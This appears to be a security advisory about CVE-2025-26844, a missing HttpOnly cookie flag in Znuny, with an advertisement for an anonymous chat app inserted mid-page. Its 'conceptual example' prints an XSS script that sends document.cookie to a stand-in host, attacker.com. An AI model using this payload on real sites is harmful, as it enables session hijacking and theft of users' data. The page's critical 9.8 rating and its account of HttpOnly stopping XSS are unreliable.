Overview
The Common Vulnerabilities and Exposures (CVE) system recently added a new entry, CVE-2025-26844, a critical vulnerability discovered in Znuny up to version 7.1.3. This issue is related to the improper handling of cookies, specifically, the application sets a cookie without the crucial HttpOnly flag. Given the severity of the vulnerability, which has been assigned a CVSS score of 9.8, it is imperative for all organizations using affected versions of Znuny to understand and mitigate the risks involved. This vulnerability could potentially lead to system compromise or data leakage if exploited by malicious actors.
Vulnerability Summary
CVE ID: CVE-2025-26844
Severity: Critical (9.8 CVSS)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage
Affected Products
Escape the Surveillance Era
You just read how systems get breached.
Most apps won’t tell you the truth. They’re part of the problem.
Phone numbers. Emails. Profiles. Logs.
It’s all fuel for surveillance.
Ameeba Chat gives you a way out.
- • No phone number
- • No email
- • No personal info
- • Anonymous aliases
- • End-to-end encrypted
Chat without a trace.
Product | Affected Versions
Znuny | Up to 7.1.3
How the Exploit Works
The vulnerability arises from the failure of Znuny to set the HttpOnly flag for a cookie. This flag restricts access to the cookie from client-side scripts, thus preventing cross-site scripting (XSS) attacks. When the HttpOnly flag is not set, an attacker can potentially use client-side script to read the cookie’s data, which could contain sensitive information. This opens the door for various attacks, including session hijacking and identity theft.
Conceptual Example Code
An attacker might execute a script like the following to exploit this vulnerability:
<script>
document.write('<img src="http://attacker.com/steal.php?cookie=' + document.cookie + '" />');
</script>In this conceptual example, the attacker’s script sends the user’s cookies to the attacker’s server. This is possible because the HttpOnly flag is not set, allowing the document.cookie JavaScript property to access the cookie’s data.
Please note that this is a conceptual example and is intended to illustrate how the vulnerability could be exploited. Actual attacks may be more complex and varied in nature.
Mitigation Guidance
To mitigate this vulnerability, users are advised to apply the vendor patch as soon as possible. Until the patch can be applied, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. These systems can be configured to detect and block attempts to exploit this vulnerability. Furthermore, ensure to follow the principle of least privilege, and monitor your systems for any unusual activity.